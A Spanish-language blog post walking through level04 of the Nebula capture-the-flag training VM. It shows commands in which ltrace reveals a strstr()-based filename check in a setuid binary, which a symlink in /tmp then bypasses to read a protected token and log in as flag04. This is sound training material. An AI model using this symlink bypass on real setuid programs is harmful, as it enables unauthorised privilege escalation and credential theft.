Pages

viernes, 20 de julio de 2018

Nebula CTF - level04

Descubramos que nos depara el próximo reto:

level04@nebula:/home/flag04$ ls -al
total 13
drwxr-x--- 2 flag04 level04   93 2011-11-20 21:52 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag04 flag04   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag04 flag04  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw-r--r-- 1 flag04 flag04   675 2011-05-18 02:54 .profile
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ file flag04
flag04: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level04@nebula:/home/flag04$ file token
token: regular file, no read permission

De nuevo un binario setuid y además un fichero token para el que no tenemos permiso de lectura ni escritura. Nada mejor que ejecutar la aplicación para hacernos una idea de su funcionamiento:

level04@nebula:/home/flag04$ ./flag04
./flag04 [file to read]
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'

La pregunta es, ¿cómo comprueba ./flag04 que no tenemos acceso a token? Un desensamblador nos daría la respuesta más detallada, pero en este caso también ltrace resulta más económico:

level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$ ltrace ./flag04 token
__libc_start_main(0x8048554, 2, 0xbf8b7c04, 0x80486b0, 0x8048720 <unfinished ...>
strstr("token", "token")                         = "token"
printf("You may not access '%s'\n", "token"You may not access 'token'
)     = 27

La llamada a strstr() comprueba si el argumento pasado al programa contiene la cadena "token", desde luego un pobre mecanismo de seguridad. Podemos crear un enlace simbólico con otro nombre y utilizar este como parámetro de ./flag04:

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/fake
level04@nebula:/home/flag04$ ./flag04 /tmp/fake
06508b5e-8909-4f38-b630-fdb148a848a2

Correcto. Este flag resulta ser el password del usuario flag04, con lo que procedemos a loguearnos y ejecutar getflag:

level04@nebula:/home/flag04$ su flag04
Password: 
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...